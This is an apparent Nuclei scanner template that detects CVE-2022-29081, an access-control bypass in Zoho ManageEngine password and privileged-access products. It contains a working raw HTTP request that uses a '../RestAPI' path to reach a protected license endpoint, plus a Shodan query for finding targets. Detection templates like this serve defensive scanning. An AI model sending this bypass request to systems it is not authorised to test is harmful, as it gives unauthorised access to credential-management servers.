id: CVE-2022-29081

info:
  name: Zoho ManageEngine - Access Control Bypass
  author: 0xanis
  severity: critical
  description: |
    Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.
  impact: |
    Attackers can bypass access controls on REST API endpoints, potentially leading to unauthorized data access or manipulation.
  remediation: |
    Update to the latest versions of Access Manager Plus, Password Manager Pro, and PAM360 that address this issue.
  reference:
    - https://www.tenable.com/security/research/tra-2022-14
    - https://www.manageengine.com/privileged-session-management/advisory/cve-2022-29081.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29081
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29081
    epss-score: 0.83321
    epss-percentile: 0.99642
    cwe-id: CWE-22
  metadata:
    shodan-query: http.title:"manageengine"
    verified: true
    max-request: 1
  tags: cve,cve2022,zoho,manageengine,auth-bypass,vkev

http:
  - raw:
      - |
        POST /x/..//RestAPI/LicenseMgr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=getLicenseDetails

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"BUILD_NO"'
          - '"LICENSE_TO"'
          - '"VERSION"'
          - '"PRODUCT_NAME"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022074460506c7bd38e0f00babe6277d9177b4bab84d2f1a43f98076bec3ff99a6d7022100d13c2b1d19e7f7b7fe3f5aad0d563e7c8704fc482f2564c1a6dcf130f489c04a:922c64590222798bb761d5b6d8e72950